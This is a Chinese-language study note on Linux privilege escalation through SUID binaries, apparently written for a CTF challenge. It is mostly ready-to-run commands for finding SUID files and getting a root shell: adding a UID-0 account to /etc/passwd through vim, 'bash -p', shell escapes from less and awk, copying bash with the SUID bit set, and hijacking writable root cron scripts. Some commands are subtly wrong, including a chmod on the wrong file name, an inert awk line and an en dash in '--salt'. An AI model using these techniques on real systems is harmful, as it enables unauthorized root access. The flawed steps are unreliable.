利用SUID提权
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
寻找系统中可利用文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
这三条 find 命令都是用来查找系统中具有 SUID 权限 的文件
find / -user root -perm -4000 -print 2>/dev/null查找所有属主为
root且设置了 SUID 位的文件,直接打印符合条件的文件路径。-user root:限定文件属主是root-perm -4000:限定文件权限包含 SUID 位2>/dev/null:忽略错误信息(比如权限不足报错)
find / -perm -u=s -type f 2>/dev/null查找所有设置了 SUID 位的普通文件,直接打印符合条件的文件路径。
-perm -u=s:限定文件权限包含 SUID 位-type f:只查找普通文件(排除目录等)
find / -user root -perm -4000 -exec ls -ldb {} \;查找所有属主为
root且设置了 SUID 位的文件,并显示详细信息。-user root:只保留属主为root的文件/目录。-perm -4000:精确匹配包含SUID位的文件(八进制 4000 表示 SUID 权限)。-exec:表示开始定义要执行的命令。ls -ldb:查看文件详细信息。-l:长格式显示(权限、属主、时间等)-d:仅显示目录本身(而不是目录内容)-b:转义特殊字符(如空格、换行符)
{}:占位符,表示当前匹配到的文件路径(之后详解)。\;:表示命令结束(在Shell中,分号;表示命令结束。为了将;传递给find而不是被Shell解析,必须用反斜杠转义)。
{}的作用
类似于编程中的 循环变量,每次
find找到一个符合条件的文件,就会将文件路径替换到{}的位置。示例:如果找到
/usr/bin/passwd,实际执行的命令是:ls -ldb /usr/bin/passwd
设定suid权限
chmod u+s file #将该文件设置suid权限
chmod u-s file #将该文件去除suid权限
find
如果find命令是以suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。可以通过find查看find命令本身是否以suid权限运行。
应用格式:
# find 任意存在的文件或目录 -exec 命令 \;
find . -exec ls \;
# 可以直接用这句
vim
利用vim在/etc/passwd中写入一个拥有root权限的用户,在转换为该用户。首先应当为这个用户生成一个密码
openssl passwd -1 –salt asd 密码
# 如root生成为$1$asd$mwN4uVjCkpk1tFZW.7f54/
在将以下语句写入/etc/passwd
meowko:$1$asd$mwN4uVjCkpk1tFZW.7f54/:0:0:root:/meowko:/bin/bash
有时vim本身没有suid权限,但是其“亚种”有,比如vim.tiny,vim.basic
Bash
直接开一个bash shell就行。
bash -p
less&more
less和more是基本一样的,这里用less举例。用less打开一个文件,比如/etc/passwd。
less /etc/passwd
在less界面中,按下!键,这将允许你在less中执行外部命令。然后输入/bin/bash命令并按下回车键。将进入一个新的 shell 会话,由于less具有root权限,这个新的 shell 会话也将以root用户身份运行。
!/bin/bash
# 具体要看用的什么shell。
nano
nano是一个文本编辑器。
/bin/nano # /bin/nano非确定
# 按下面的按键执行命令Ctrl + R,Ctrl + X
cp
cp就是复制指令。
为了复制文件,我们需要一个有写入权限的目录,可使用以下命令创建并切换到该目录。例如:
mkdir /tmp/exp
cd /tmp/exp
利用cp的suid权限,将/bin/bash复制到刚创建的目录中。
cp /bin/bash .
设置这个bash具有suid权限并运行:
chmod u+s sh
./bash
awk
awk是一种文本处理工具,它是一种编程语言。
awk 'BEGIN {"/bin/bash"}'
# 或者awk 'BEGIN {system("/bin/sh")}'
BEGIN 是awk的一个特殊模式,它会在处理输入文件之前执行一次。这里就是打开一个bash。
awk提供了system() 函数,可以用于执行系统命令。
利用可修改的定时执行sh文件提权。
利用系统中存在的定时执行的sh脚本文件也能提权。如果我们有该文件的修改权,并且该sh文件执行时有root权限,我们就可以写入想执行的命令了。
例子:小蓝鲨的临时存储室
参考~🥰:
借助了一些AI的力量❀
- deepseek
- 豆包